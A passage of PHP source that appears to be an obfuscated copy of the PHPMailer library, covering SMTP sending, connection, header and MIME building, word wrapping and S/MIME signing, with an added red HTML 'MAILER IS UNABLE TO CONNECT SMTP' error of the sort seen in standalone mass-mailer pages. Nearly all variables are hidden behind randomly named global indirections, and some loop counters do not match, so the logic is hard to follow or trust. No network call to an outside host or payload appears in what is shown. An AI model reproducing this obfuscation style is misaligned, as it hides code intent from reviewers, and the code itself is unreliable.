$wyquoerq = "body";
${${"GLOBALS"}["hkwwepw"]} = @mail(
${${"GLOBALS"}["tzxjfxecygp"]},
$this->EncodeHeader(
$this->SecureHeader($this->Subject)
),
${$wyquoerq},
${${"GLOBALS"}["lgmvqsfiuxt"]},
${${"GLOBALS"}["ldgsvkgpkcee"]}
);
}
} else {
$pjgvjhlg = "header";
$bkciirdvursr = "to";
${"GLOBALS"}["hjbdsoc"] = "rt";
${${"GLOBALS"}["hjbdsoc"]} = @mail(
${$bkciirdvursr},
$this->EncodeHeader(
$this->SecureHeader($this->Subject)
),
${${"GLOBALS"}["ghkaevlk"]},
${$pjgvjhlg}
);
}
}
if (isset(${$suspyyibxbqc})) {
ini_set("sendmail_from", ${${"GLOBALS"}["wirlzwiyz"]});
}
if (!${${"GLOBALS"}["wmtxoyznknz"]}) {
$this->SetError($this->Lang("instantiate"));
return false;
}
return true;
}
function SmtpSend($header, $body)
{
$mdoowelv = "i";
$nqsequjvrhyk = "bad_rcpt";
${${"GLOBALS"}["croydrm"]} = "";
${"GLOBALS"}["wetzjyt"] = "body";
$rauxzeliimxj = "i";
${"GLOBALS"}["qkotywv"] = "i";
$jbtolxyki = "i";
${$nqsequjvrhyk} = [];
${"GLOBALS"}["jyfwgrtwqd"] = "i";
${"GLOBALS"}["dmynlmuqje"] = "bad_rcpt";
if (!$this->SmtpConnect()) {
echo "FAILED !!<p align=\x22center\"><font color=\x22#D4001A\x22 style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";
die();
return false;
}
${${"GLOBALS"}["wosiwnk"]} =
$this->Sender == "" ? $this->From : $this->Sender;
${"GLOBALS"}["oqbnemfkiw"] = "i";
if (!$this->smtp->Mail(${${"GLOBALS"}["wosiwnk"]})) {
$yrdkpcxzing = "error";
$haeqvem = "smtp_from";
${${"GLOBALS"}["croydrm"]} =
$this->Lang("from_failed") . ${$haeqvem};
$this->SetError(${$yrdkpcxzing});
$this->smtp->Reset();
return false;
}
for (
${${"GLOBALS"}["khvroce"]} = 0;
${${"GLOBALS"}["jyfwgrtwqd"]} < count($this->to);
${${"GLOBALS"}["khvroce"]}++
) {
${"GLOBALS"}["zrelielurpxu"] = "i";
if (
!$this->smtp->Recipient(
$this->to[${${"GLOBALS"}["zrelielurpxu"]}][0]
)
) {
${"GLOBALS"}["rwhpkw"] = "i";
${${"GLOBALS"}["fwlsafy"]}[] =
$this->to[${${"GLOBALS"}["rwhpkw"]}][0];
}
}
for (
${$mdoowelv} = 0;
${$jbtolxyki} < count($this->cc);
${${"GLOBALS"}["qkotywv"]}++
) {
$ciarbynqs = "i";
if (!$this->smtp->Recipient($this->cc[${$ciarbynqs}][0])) {
$ikttiig = "i";
${${"GLOBALS"}["fwlsafy"]}[] = $this->cc[${$ikttiig}][0];
}
}
for (
${${"GLOBALS"}["khvroce"]} = 0;
${${"GLOBALS"}["oqbnemfkiw"]} < count($this->bcc);
${$rauxzeliimxj}++
) {
if (
!$this->smtp->Recipient(
$this->bcc[${${"GLOBALS"}["khvroce"]}][0]
)
) {
$ptqivxn = "i";
${${"GLOBALS"}["fwlsafy"]}[] = $this->bcc[${$ptqivxn}][0];
}
}
if (count(${${"GLOBALS"}["dmynlmuqje"]}) > 0) {
${"GLOBALS"}["cmhprjvln"] = "i";
$vouscbmddfb = "i";
for (
${${"GLOBALS"}["cmhprjvln"]} = 0;
${$vouscbmddfb} < count(${${"GLOBALS"}["fwlsafy"]});
${${"GLOBALS"}["khvroce"]}++
) {
$vmvdtvirqu = "bad_rcpt";
$xzjmijzidy = "error";
if (${${"GLOBALS"}["khvroce"]} != 0) {
${"GLOBALS"}["vaicburhkr"] = "error";
${${"GLOBALS"}["vaicburhkr"]} .= ", ";
}
${$xzjmijzidy} .=
${$vmvdtvirqu}[${${"GLOBALS"}["khvroce"]}];
}
$pbrzyawqtas = "error";
${"GLOBALS"}["nvpukucx"] = "error";
${$pbrzyawqtas} =
$this->Lang("recipients_failed") .
${${"GLOBALS"}["croydrm"]};
$this->SetError(${${"GLOBALS"}["nvpukucx"]});
$this->smtp->Reset();
return false;
}
if (
!$this->smtp->Data(
${${"GLOBALS"}["lgmvqsfiuxt"]} . ${${"GLOBALS"}["wetzjyt"]}
)
) {
$this->SetError($this->Lang("data_not_accepted"));
$this->smtp->Reset();
return false;
}
if ($this->SMTPKeepAlive == true) {
$this->smtp->Reset();
} else {
$this->SmtpClose();
}
return true;
}
function SmtpConnect()
{
if ($this->smtp == null) {
$this->smtp = new SMTP();
}
$this->smtp->do_debug = $this->SMTPDebug;
${"GLOBALS"}["nomldqqa"] = "connection";
$vkvlwbmpvmv = "connection";
${"GLOBALS"}["ysrbigfhcfqu"] = "connection";
${"GLOBALS"}["kulsjbzdfj"] = "hosts";
${${"GLOBALS"}["kulsjbzdfj"]} = explode(";", $this->Host);
${${"GLOBALS"}["znmvveriyntw"]} = 0;
$tarbqmsrc = "connection";
${$tarbqmsrc} = $this->smtp->Connected();
while (
${${"GLOBALS"}["znmvveriyntw"]} <
count(${${"GLOBALS"}["umfsepxdy"]}) &&
${$vkvlwbmpvmv} == false
) {
$hmhwaga = "index";
${"GLOBALS"}["frfhayoijd"] = "index";
${"GLOBALS"}["ggqowrq"] = "port";
$erunrrmjgm = "hosts";
${${"GLOBALS"}["yhnrjmph"]} = [];
if (
eregi(
"^(.+):([0-9]+)\$",
${$erunrrmjgm}[${${"GLOBALS"}["frfhayoijd"]}],
${${"GLOBALS"}["yhnrjmph"]}
)
) {
${"GLOBALS"}["tlsgyigkpe"] = "hostinfo";
$host = ${${"GLOBALS"}["tlsgyigkpe"]}[1];
${${"GLOBALS"}["jsrpobbv"]} =
${${"GLOBALS"}["yhnrjmph"]}[2];
} else {
${"GLOBALS"}["ebkcdtvflidc"] = "hosts";
$host =
${${"GLOBALS"}["ebkcdtvflidc"]}[
${${"GLOBALS"}["znmvveriyntw"]}
];
${${"GLOBALS"}["jsrpobbv"]} = $this->Port;
}
if (
$this->smtp->Connect(
(!empty($this->SMTPSecure)
? $this->SMTPSecure . "://"
: "") . $host,
${${"GLOBALS"}["ggqowrq"]},
$this->Timeout
)
) {
if ($this->Helo != "") {
$this->smtp->Hello($this->Helo);
} else {
$this->smtp->Hello($this->ServerHostname());
}
${${"GLOBALS"}["pkhgsss"]} = true;
if ($this->SMTPAuth) {
if (
!$this->smtp->Authenticate(
$this->Username,
$this->Password
)
) {
$this->SetError($this->Lang("authenticate"));
$this->smtp->Reset();
${${"GLOBALS"}["pkhgsss"]} = false;
}
}
}
${$hmhwaga}++;
}
if (!${${"GLOBALS"}["ysrbigfhcfqu"]}) {
$this->SetError($this->Lang("connect_host"));
}
return ${${"GLOBALS"}["nomldqqa"]};
}
function SmtpClose()
{
if ($this->smtp != null) {
if ($this->smtp->Connected()) {
$this->smtp->Quit();
$this->smtp->Close();
}
}
}
function SetLanguage($lang_type, $lang_path = "language/")
{
${"GLOBALS"}["qhvzpbmrd"] = "lang_path";
if (
file_exists(
${${"GLOBALS"}["iggestehup"]} .
"phpmailer.lang-" .
${${"GLOBALS"}["rtfgykzji"]} .
".php"
)
) {
$vojfcovur = "lang_path";
include ${$vojfcovur} .
"phpmailer.lang-" .
${${"GLOBALS"}["rtfgykzji"]} .
".php";
} elseif (
file_exists(
${${"GLOBALS"}["qhvzpbmrd"]} . "phpmailer.lang-en.php"
)
) {
include ${${"GLOBALS"}["iggestehup"]} . "phpmailer.lang-en.php";
} else {
$this->SetError("Could not load language file");
return false;
}
$this->language = ${${"GLOBALS"}["kusvcxvn"]};
return true;
}
function AddrAppend($type, $addr)
{
$heheoocoi = "addr_str";
${$heheoocoi} = ${${"GLOBALS"}["idvydcuot"]} . ": ";
${${"GLOBALS"}["nycgpjgxwu"]} .= $this->AddrFormat(
${${"GLOBALS"}["kvwloyc"]}[0]
);
if (count(${${"GLOBALS"}["kvwloyc"]}) > 1) {
$nuouvkdhyhw = "i";
$xsodobpkcmq = "i";
for (
${$nuouvkdhyhw} = 1;
${${"GLOBALS"}["khvroce"]} <
count(${${"GLOBALS"}["kvwloyc"]});
${$xsodobpkcmq}++
) {
${"GLOBALS"}["govnebexnu"] = "addr_str";
${"GLOBALS"}["cfspvho"] = "addr";
${"GLOBALS"}["tplgdemxwgs"] = "i";
${${"GLOBALS"}["govnebexnu"]} .=
", " .
$this->AddrFormat(
${${"GLOBALS"}["cfspvho"]}[
${${"GLOBALS"}["tplgdemxwgs"]}
]
);
}
}
${${"GLOBALS"}["nycgpjgxwu"]} .= $this->LE;
return ${${"GLOBALS"}["nycgpjgxwu"]};
}
function AddrFormat($addr)
{
${"GLOBALS"}["jmgpkgobqxic"] = "addr";
if (empty(${${"GLOBALS"}["jmgpkgobqxic"]}[1])) {
$npjxcgjcrb = "formatted";
${"GLOBALS"}["xkyknk"] = "addr";
${$npjxcgjcrb} = $this->SecureHeader(
${${"GLOBALS"}["xkyknk"]}[0]
);
} else {
$doewhvft = "addr";
${"GLOBALS"}["lvsrskv"] = "addr";
$hnbtevdcp = "formatted";
${$hnbtevdcp} =
$this->EncodeHeader(
$this->SecureHeader(${${"GLOBALS"}["lvsrskv"]}[1]),
"phrase"
) .
" <" .
$this->SecureHeader(${$doewhvft}[0]) .
">";
}
return ${${"GLOBALS"}["chwmquxcs"]};
}
function WrapText($message, $length, $qp_mode = false)
{
${"GLOBALS"}["adxihwumh"] = "soft_break";
${"GLOBALS"}["sapgwl"] = "qp_mode";
${${"GLOBALS"}["adxihwumh"]} = ${${"GLOBALS"}["sapgwl"]}
? sprintf(" =%s", $this->LE)
: $this->LE;
${"GLOBALS"}["rvvxxx"] = "is_utf8";
${"GLOBALS"}["cqewdie"] = "line";
$ztdtrdkbgr = "i";
${"GLOBALS"}["eygkwgsemc"] = "message";
${${"GLOBALS"}["rvvxxx"]} = strtolower($this->CharSet) == "utf-8";
${${"GLOBALS"}["soycmsrg"]} = $this->FixEOL(
${${"GLOBALS"}["soycmsrg"]}
);
if (substr(${${"GLOBALS"}["eygkwgsemc"]}, -1) == $this->LE) {
${${"GLOBALS"}["soycmsrg"]} = substr(
${${"GLOBALS"}["soycmsrg"]},
0,
-1
);
}
${${"GLOBALS"}["zeplfdp"]} = explode(
$this->LE,
${${"GLOBALS"}["soycmsrg"]}
);
${"GLOBALS"}["vfisgweqfups"] = "message";
${${"GLOBALS"}["vfisgweqfups"]} = "";
for (
${${"GLOBALS"}["khvroce"]} = 0;
${${"GLOBALS"}["khvroce"]} < count(${${"GLOBALS"}["cqewdie"]});
${$ztdtrdkbgr}++
) {
$sxgmilbzxm = "line_part";
$igrddgqjrb = "e";
${"GLOBALS"}["eulzcnjpnwdg"] = "buf";
${${"GLOBALS"}["lefkkc"]} = explode(
" ",
${${"GLOBALS"}["zeplfdp"]}[${${"GLOBALS"}["khvroce"]}]
);
${"GLOBALS"}["dxwgkfv"] = "e";
${${"GLOBALS"}["ozywytfhp"]} = "";
${"GLOBALS"}["fsfhagu"] = "message";
for (
${${"GLOBALS"}["hpkszosw"]} = 0;
${$igrddgqjrb} < count(${$sxgmilbzxm});
${${"GLOBALS"}["dxwgkfv"]}++
) {
${"GLOBALS"}["hnttoryq"] = "word";
${"GLOBALS"}["bndienfipol"] = "line_part";
${"GLOBALS"}["ullsbypx"] = "length";
$zfrqckr = "qp_mode";
${"GLOBALS"}["cjqpbvgfjc"] = "word";
${${"GLOBALS"}["hnttoryq"]} =
${${"GLOBALS"}["bndienfipol"]}[
${${"GLOBALS"}["hpkszosw"]}
];
if (
${$zfrqckr} and
strlen(${${"GLOBALS"}["cjqpbvgfjc"]}) >
${${"GLOBALS"}["ullsbypx"]}
) {
$grcrdpub = "space_left";
${$grcrdpub} =
${${"GLOBALS"}["krcegmdfvub"]} -
strlen(${${"GLOBALS"}["ozywytfhp"]}) -
1;
if (${${"GLOBALS"}["hpkszosw"]} != 0) {
if (${${"GLOBALS"}["pjdbhb"]} > 20) {
$ygwmuhxy = "word";
${"GLOBALS"}["njyrxeum"] = "word";
$wfhhxrr = "is_utf8";
${"GLOBALS"}["eoietn"] = "word";
${${"GLOBALS"}["crcncweipdd"]} = ${${"GLOBALS"}[
"pjdbhb"
]};
${"GLOBALS"}["fzrvteq"] = "word";
if (${$wfhhxrr}) {
${${"GLOBALS"}[
"crcncweipdd"
]} = $this->UTF8CharBoundary(
${${"GLOBALS"}["qstoiregtq"]},
${${"GLOBALS"}["crcncweipdd"]}
);
} elseif (
substr(
${${"GLOBALS"}["njyrxeum"]},
${${"GLOBALS"}["crcncweipdd"]} - 1,
1
) == "="
) {
$xuoghhmchsm = "len";
${$xuoghhmchsm}--;
} elseif (
substr(
${${"GLOBALS"}["eoietn"]},
${${"GLOBALS"}["crcncweipdd"]} - 2,
1
) == "="
) {
${"GLOBALS"}["kidnidz"] = "len";
${${"GLOBALS"}["kidnidz"]} -= 2;
}
${${"GLOBALS"}["ooqexem"]} = substr(
${${"GLOBALS"}["fzrvteq"]},
0,
${${"GLOBALS"}["crcncweipdd"]}
);
${${"GLOBALS"}["qstoiregtq"]} = substr(
${$ygwmuhxy},
${${"GLOBALS"}["crcncweipdd"]}
);
$jqdhwgxsod = "buf";
${$jqdhwgxsod} .=
" " . ${${"GLOBALS"}["ooqexem"]};
${${"GLOBALS"}["soycmsrg"]} .=
${${"GLOBALS"}["ozywytfhp"]} .
sprintf("=%s", $this->LE);
} else {
${"GLOBALS"}["kavdacterfht"] = "buf";
${${"GLOBALS"}["soycmsrg"]} .=
${${"GLOBALS"}["kavdacterfht"]} .
${${"GLOBALS"}["qkdhnln"]};
}
${${"GLOBALS"}["ozywytfhp"]} = "";
}
while (strlen(${${"GLOBALS"}["qstoiregtq"]}) > 0) {
${"GLOBALS"}["fbcudnykhh"] = "length";
$cvjmjccsaz = "len";
${$cvjmjccsaz} = ${${"GLOBALS"}["fbcudnykhh"]};
${"GLOBALS"}["vuuvgplsqy"] = "word";
${"GLOBALS"}["oftsjeb"] = "len";
$muthkszskpo = "len";
$uisbflh = "len";
if (${${"GLOBALS"}["cbkemmog"]}) {
$olfcvv = "word";
${"GLOBALS"}["uujevlki"] = "len";
${"GLOBALS"}["iqbcvqeoxmpy"] = "len";
${${"GLOBALS"}[
"iqbcvqeoxmpy"
]} = $this->UTF8CharBoundary(
${$olfcvv},
${${"GLOBALS"}["uujevlki"]}
);
} elseif (
substr(
${${"GLOBALS"}["qstoiregtq"]},
${${"GLOBALS"}["oftsjeb"]} - 1,
1
) == "="
) {
${${"GLOBALS"}["crcncweipdd"]}--;
} elseif (
substr(
${${"GLOBALS"}["qstoiregtq"]},
${$muthkszskpo} - 2,
1
) == "="
) {
${${"GLOBALS"}["crcncweipdd"]} -= 2;
}
${${"GLOBALS"}["ooqexem"]} = substr(
${${"GLOBALS"}["qstoiregtq"]},
0,
${$uisbflh}
);
${${"GLOBALS"}["qstoiregtq"]} = substr(
${${"GLOBALS"}["qstoiregtq"]},
${${"GLOBALS"}["crcncweipdd"]}
);
if (strlen(${${"GLOBALS"}["vuuvgplsqy"]}) > 0) {
${"GLOBALS"}["fvtvsi"] = "part";
${${"GLOBALS"}["soycmsrg"]} .=
${${"GLOBALS"}["fvtvsi"]} .
sprintf("=%s", $this->LE);
} else {
${"GLOBALS"}["xlexctrfg"] = "part";
${"GLOBALS"}["xgycpojwegol"] = "buf";
${${"GLOBALS"}[
"xgycpojwegol"
]} = ${${"GLOBALS"}["xlexctrfg"]};
}
}
} else {
${${"GLOBALS"}["lvxxkbvlmueu"]} = ${${"GLOBALS"}[
"ozywytfhp"
]};
$btpgnubtwa = "word";
${${"GLOBALS"}["ozywytfhp"]} .=
${${"GLOBALS"}["hpkszosw"]} == 0
? ${${"GLOBALS"}["qstoiregtq"]}
: " " . ${$btpgnubtwa};
if (
strlen(${${"GLOBALS"}["ozywytfhp"]}) >
${${"GLOBALS"}["krcegmdfvub"]} and
${${"GLOBALS"}["lvxxkbvlmueu"]} != ""
) {
${"GLOBALS"}["bkdvcup"] = "buf";
${"GLOBALS"}["qaornwq"] = "message";
${"GLOBALS"}["pxkkyyed"] = "soft_break";
${${"GLOBALS"}["qaornwq"]} .=
${${"GLOBALS"}["lvxxkbvlmueu"]} .
${${"GLOBALS"}["pxkkyyed"]};
${${"GLOBALS"}["bkdvcup"]} = ${${"GLOBALS"}[
"qstoiregtq"
]};
}
}
}
${${"GLOBALS"}["fsfhagu"]} .=
${${"GLOBALS"}["eulzcnjpnwdg"]} . $this->LE;
}
return ${${"GLOBALS"}["soycmsrg"]};
}
function UTF8CharBoundary($encodedText, $maxLength)
{
$qnnlpamwtc = "foundSplitPos";
${"GLOBALS"}["iudhbftdv"] = "maxLength";
${"GLOBALS"}["aocxwevld"] = "lookBack";
${${"GLOBALS"}["swqcec"]} = false;
${${"GLOBALS"}["aocxwevld"]} = 3;
while (!${$qnnlpamwtc}) {
${"GLOBALS"}["qblxfwjbeu"] = "lookBack";
${"GLOBALS"}["sxxgbdvh"] = "lookBack";
${"GLOBALS"}["tgmqfxoh"] = "lastChunk";
$gqeunuidwch = "encodedCharPos";
${${"GLOBALS"}["wydfdtjk"]} = substr(
${${"GLOBALS"}["cuqqybfiwmw"]},
${${"GLOBALS"}["crwnigqgodl"]} -
${${"GLOBALS"}["sxxgbdvh"]},
${${"GLOBALS"}["qblxfwjbeu"]}
);
${$gqeunuidwch} = strpos(${${"GLOBALS"}["tgmqfxoh"]}, "=");
if (${${"GLOBALS"}["aqjvdngepd"]} !== false) {
$nxzcbamqrvm = "dec";
${"GLOBALS"}["nplwmgsd"] = "hex";
$ujdgcxi = "maxLength";
${${"GLOBALS"}["nplwmgsd"]} = substr(
${${"GLOBALS"}["cuqqybfiwmw"]},
${$ujdgcxi} -
${${"GLOBALS"}["mmbogfbse"]} +
${${"GLOBALS"}["aqjvdngepd"]} +
1,
2
);
${$nxzcbamqrvm} = hexdec(${${"GLOBALS"}["supqnmmhraf"]});
if (${${"GLOBALS"}["oafvjqenxo"]} < 128) {
${"GLOBALS"}["ntullhc"] = "maxLength";
$bznkbjx = "maxLength";
${"GLOBALS"}["hudutp"] = "lookBack";
$ocwssm = "encodedCharPos";
$uqibebhvtmp = "maxLength";
${${"GLOBALS"}["ntullhc"]} =
${$ocwssm} == 0
? ${$bznkbjx}
: ${$uqibebhvtmp} -
(${${"GLOBALS"}["hudutp"]} -
${${"GLOBALS"}["aqjvdngepd"]});
${${"GLOBALS"}["swqcec"]} = true;
} elseif (${${"GLOBALS"}["oafvjqenxo"]} >= 192) {
${"GLOBALS"}["hxasvggs"] = "maxLength";
$isqchbm = "lookBack";
${"GLOBALS"}["bnwhslp"] = "maxLength";
${${"GLOBALS"}["bnwhslp"]} =
${${"GLOBALS"}["hxasvggs"]} -
(${$isqchbm} - ${${"GLOBALS"}["aqjvdngepd"]});
${${"GLOBALS"}["swqcec"]} = true;
} elseif (${${"GLOBALS"}["oafvjqenxo"]} < 192) {
${"GLOBALS"}["vpxduefkp"] = "lookBack";
${${"GLOBALS"}["vpxduefkp"]} += 3;
}
} else {
${${"GLOBALS"}["swqcec"]} = true;
}
}
return ${${"GLOBALS"}["iudhbftdv"]};
}
function SetWordWrap()
{
if ($this->WordWrap < 1) {
return;
}
switch ($this->message_type) {
case "alt":
case "alt_attachments":
$this->AltBody = $this->WrapText(
$this->AltBody,
$this->WordWrap
);
break;
default:
$this->Body = $this->WrapText($this->Body, $this->WordWrap);
break;
}
}
function CreateHeader()
{
$kpnfsjm = "result";
$iktcgmvtg = "from";
$yrfubnt = "index";
${$kpnfsjm} = "";
${"GLOBALS"}["ggiwiygg"] = "from";
$uqejcso = "result";
${"GLOBALS"}["gyxhal"] = "uniq_id";
${"GLOBALS"}["eubjqrog"] = "uniq_id";
${"GLOBALS"}["fjytfcggr"] = "uniq_id";
${${"GLOBALS"}["gyxhal"]} = md5(uniqid(time()));
${"GLOBALS"}["gtjroqlxxm"] = "result";
$this->boundary[1] = "b1_" . ${${"GLOBALS"}["fjytfcggr"]};
$this->boundary[2] = "b2_" . ${${"GLOBALS"}["eubjqrog"]};
${${"GLOBALS"}["bpaotwhm"]} .= $this->HeaderLine(
"Date",
$this->RFCDate()
);
if ($this->Sender == "") {
$cdbtpip = "result";
${$cdbtpip} .= $this->HeaderLine(
"Return-Path",
trim($this->From)
);
} else {
${${"GLOBALS"}["bpaotwhm"]} .= $this->HeaderLine(
"Return-Path",
trim($this->Sender)
);
}
if ($this->Mailer != "mail") {
if (count($this->to) > 0) {
${${"GLOBALS"}["bpaotwhm"]} .= $this->AddrAppend(
"To",
$this->to
);
} elseif (count($this->cc) == 0) {
${"GLOBALS"}["jmrdauc"] = "result";
${${"GLOBALS"}["jmrdauc"]} .= $this->HeaderLine(
"To",
"undisclosed-recipients:;"
);
}
if (count($this->cc) > 0) {
$cdjbhatao = "result";
${$cdjbhatao} .= $this->AddrAppend("Cc", $this->cc);
}
}
${$iktcgmvtg} = [];
${${"GLOBALS"}["ynjosywdrdie"]}[0][0] = trim($this->From);
${${"GLOBALS"}["ynjosywdrdie"]}[0][1] = $this->FromName;
${"GLOBALS"}["ocdcrtxuuid"] = "result";
${${"GLOBALS"}["ocdcrtxuuid"]} .= $this->AddrAppend(
"From",
${${"GLOBALS"}["ggiwiygg"]}
);
if (
($this->Mailer == "sendmail" || $this->Mailer == "mail") &&
count($this->cc) > 0
) {
$tqnmccox = "result";
${$tqnmccox} .= $this->AddrAppend("Cc", $this->cc);
}
if (
($this->Mailer == "sendmail" || $this->Mailer == "mail") &&
count($this->bcc) > 0
) {
${${"GLOBALS"}["bpaotwhm"]} .= $this->AddrAppend(
"Bcc",
$this->bcc
);
}
${"GLOBALS"}["ljfbietewoyn"] = "result";
if (count($this->ReplyTo) > 0) {
$lcimgiqdwcli = "result";
${$lcimgiqdwcli} .= $this->AddrAppend(
"Reply-To",
$this->ReplyTo
);
}
if ($this->Mailer != "mail") {
${${"GLOBALS"}["bpaotwhm"]} .= $this->HeaderLine(
"Subject",
$this->EncodeHeader($this->SecureHeader($this->Subject))
);
}
if ($this->MessageID != "") {
${${"GLOBALS"}["bpaotwhm"]} .= $this->HeaderLine(
"Message-ID",
$this->MessageID
);
} else {
$jjumemj = "result";
$kqlvyccgurd = "uniq_id";
${$jjumemj} .= sprintf(
"Message-ID: <%s@%s>%s",
${$kqlvyccgurd},
$this->ServerHostname(),
$this->LE
);
}
${${"GLOBALS"}["ljfbietewoyn"]} .= $this->HeaderLine(
"X-Priority",
$this->Priority
);
${$uqejcso} .= $this->HeaderLine(
"X-Mailer",
"PHPMailer (phpmailer.sourceforge.net) [version " .
$this->Version .
"]"
);
${"GLOBALS"}["krlpssysujl"] = "index";
if ($this->ConfirmReadingTo != "") {
${${"GLOBALS"}["bpaotwhm"]} .= $this->HeaderLine(
"Disposition-Notification-To",
"<" . trim($this->ConfirmReadingTo) . ">"
);
}
for (
${${"GLOBALS"}["znmvveriyntw"]} = 0;
${${"GLOBALS"}["krlpssysujl"]} < count($this->CustomHeader);
${$yrfubnt}++
) {
$jtbloupikv = "result";
${"GLOBALS"}["iwiiuvbw"] = "index";
$zumgbrjmzo = "index";
${$jtbloupikv} .= $this->HeaderLine(
trim($this->CustomHeader[${$zumgbrjmzo}][0]),
$this->EncodeHeader(
trim(
$this->CustomHeader[${${"GLOBALS"}["iwiiuvbw"]}][1]
)
)
);
}
if (!$this->sign_key_file) {
${${"GLOBALS"}["bpaotwhm"]} .= $this->HeaderLine(
"MIME-Version",
"1.0"
);
${${"GLOBALS"}["bpaotwhm"]} .= $this->GetMailMIME();
}
return ${${"GLOBALS"}["gtjroqlxxm"]};
}
function GetMailMIME()
{
$lctfwgs = "result";
${"GLOBALS"}["psprtfdwlvw"] = "result";
${"GLOBALS"}["nqlxuytf"] = "result";
${$lctfwgs} = "";
switch ($this->message_type) {
case "plain":
${${"GLOBALS"}["bpaotwhm"]} .= $this->HeaderLine(
"Content-Transfer-Encoding",
$this->Encoding
);
${${"GLOBALS"}["psprtfdwlvw"]} .= sprintf(
"Content-Type: %s; charset=\"%s\"",
$this->ContentType,
$this->CharSet
);
break;
case "attachments":
case "alt_attachments":
if ($this->InlineImageExists()) {
${${"GLOBALS"}["bpaotwhm"]} .= sprintf(
"Content-Type: %s;%s\ttype=\x22text/html\x22;%s\tboundary=\"%s\"%s",
"multipart/related",
$this->LE,
$this->LE,
$this->boundary[1],
$this->LE
);
} else {
${"GLOBALS"}["bsmumpea"] = "result";
${${"GLOBALS"}["bpaotwhm"]} .= $this->HeaderLine(
"Content-Type",
"multipart/mixed;"
);
${${"GLOBALS"}["bsmumpea"]} .= $this->TextLine(
"\tboundary=\x22" . $this->boundary[1] . "\x22"
);
}
break;
case "alt":
${${"GLOBALS"}["nqlxuytf"]} .= $this->HeaderLine(
"Content-Type",
"multipart/alternative;"
);
${${"GLOBALS"}["bpaotwhm"]} .= $this->TextLine(
"\tboundary=\"" . $this->boundary[1] . "\""
);
break;
}
${"GLOBALS"}["zrlxuej"] = "result";
if ($this->Mailer != "mail") {
$bobixtu = "result";
${$bobixtu} .= $this->LE . $this->LE;
}
return ${${"GLOBALS"}["zrlxuej"]};
}
function CreateBody()
{
${"GLOBALS"}["ozizfvlvha"] = "result";
$wyxfecqihcmh = "result";
${"GLOBALS"}["xpznsugj"] = "result";
${"GLOBALS"}["cjopmqjxobf"] = "result";
${${"GLOBALS"}["xpznsugj"]} = "";
${"GLOBALS"}["mjooabduoxvf"] = "result";
$incgkrzm = "result";
${"GLOBALS"}["hzhhrrpce"] = "result";
if ($this->sign_key_file) {
${${"GLOBALS"}["bpaotwhm"]} .= $this->GetMailMIME();
}
$oqvkbcfuk = "result";
${"GLOBALS"}["wwlylvxumowo"] = "result";
$this->SetWordWrap();
${"GLOBALS"}["fmtoouet"] = "result";
$rqczrui = "result";
${"GLOBALS"}["dorfnbxhl"] = "result";
${"GLOBALS"}["grwtgjd"] = "result";
$lmpotqp = "result";
switch ($this->message_type) {
case "alt":
${${"GLOBALS"}["wwlylvxumowo"]} .= $this->GetBoundary(
$this->boundary[1],
"",
"text/plain",
""
);
${$oqvkbcfuk} .= $this->EncodeString(
$this->AltBody,
$this->Encoding
);
${${"GLOBALS"}["grwtgjd"]} .= $this->LE . $this->LE;
${${"GLOBALS"}["bpaotwhm"]} .= $this->GetBoundary(
$this->boundary[1],
"",
"text/html",
""
);
${${"GLOBALS"}["bpaotwhm"]} .= $this->EncodeString(
$this->Body,
$this->Encoding
);
${${"GLOBALS"}["mjooabduoxvf"]} .= $this->LE . $this->LE;
${${"GLOBALS"}["hzhhrrpce"]} .= $this->EndBoundary(
$this->boundary[1]
);
break;
case "plain":
${${"GLOBALS"}["ozizfvlvha"]} .= $this->EncodeString(
$this->Body,
$this->Encoding
);
break;
case "attachments":
${${"GLOBALS"}["cjopmqjxobf"]} .= $this->GetBoundary(
$this->boundary[1],
"",
"",
""
);
${$incgkrzm} .= $this->EncodeString(
$this->Body,
$this->Encoding
);
${${"GLOBALS"}["bpaotwhm"]} .= $this->LE;
${${"GLOBALS"}["bpaotwhm"]} .= $this->AttachAll();
break;
case "alt_attachments":
${$lmpotqp} .= sprintf(
"--%s%s",
$this->boundary[1],
$this->LE
);
${${"GLOBALS"}["dorfnbxhl"]} .= sprintf(
"Content-Type: %s;%s" . "\tboundary=\"%s\"%s",
"multipart/alternative",
$this->LE,
$this->boundary[2],
$this->LE . $this->LE
);
${${"GLOBALS"}["bpaotwhm"]} .=
$this->GetBoundary(
$this->boundary[2],
"",
"text/plain",
""
) . $this->LE;
${$wyxfecqihcmh} .= $this->EncodeString(
$this->AltBody,
$this->Encoding
);
${${"GLOBALS"}["bpaotwhm"]} .= $this->LE . $this->LE;
${${"GLOBALS"}["bpaotwhm"]} .=
$this->GetBoundary(
$this->boundary[2],
"",
"text/html",
""
) . $this->LE;
${${"GLOBALS"}["bpaotwhm"]} .= $this->EncodeString(
$this->Body,
$this->Encoding
);
${${"GLOBALS"}["bpaotwhm"]} .= $this->LE . $this->LE;
${${"GLOBALS"}["bpaotwhm"]} .= $this->EndBoundary(
$this->boundary[2]
);
${$rqczrui} .= $this->AttachAll();
break;
}
if ($this->IsError()) {
${"GLOBALS"}["qxirsjls"] = "result";
${${"GLOBALS"}["qxirsjls"]} = "";
} elseif ($this->sign_key_file) {
${"GLOBALS"}["nsclrdyxp"] = "file";
${"GLOBALS"}["oiotxqtnpsa"] = "fp";
${"GLOBALS"}["syegzdl"] = "fp";
${"GLOBALS"}["wdhesxegrlv"] = "signed";
$qqepyjo = "signed";
${"GLOBALS"}["jccgymwuqu"] = "file";
${"GLOBALS"}["glxzktnt"] = "file";
${"GLOBALS"}["vqldfxazp"] = "signed";
${${"GLOBALS"}["jccgymwuqu"]} = tempnam("", "mail");
${${"GLOBALS"}["suktuyy"]} = fopen(
${${"GLOBALS"}["nsclrdyxp"]},
"w"
);
fwrite(
${${"GLOBALS"}["oiotxqtnpsa"]},
${${"GLOBALS"}["bpaotwhm"]}
);
fclose(${${"GLOBALS"}["syegzdl"]});
${$qqepyjo} = tempnam("", "signed");
if (
@openssl_pkcs7_sign(
${${"GLOBALS"}["glxzktnt"]},
${${"GLOBALS"}["wdhesxegrlv"]},
"file://" . $this->sign_key_file,
[
"file://" . $this->sign_key_file,
$this->sign_key_pass,
],
null
)
) {
${"GLOBALS"}["afjtofu"] = "fp";
$mctelsvos = "result";
${"GLOBALS"}["swwulotbfuj"] = "signed";
${${"GLOBALS"}["suktuyy"]} = fopen(
${${"GLOBALS"}["swwulotbfuj"]},
"r"
);
${$mctelsvos} = fread(
${${"GLOBALS"}["suktuyy"]},
filesize($this->sign_key_file)
);
fclose(${${"GLOBALS"}["afjtofu"]});
} else {
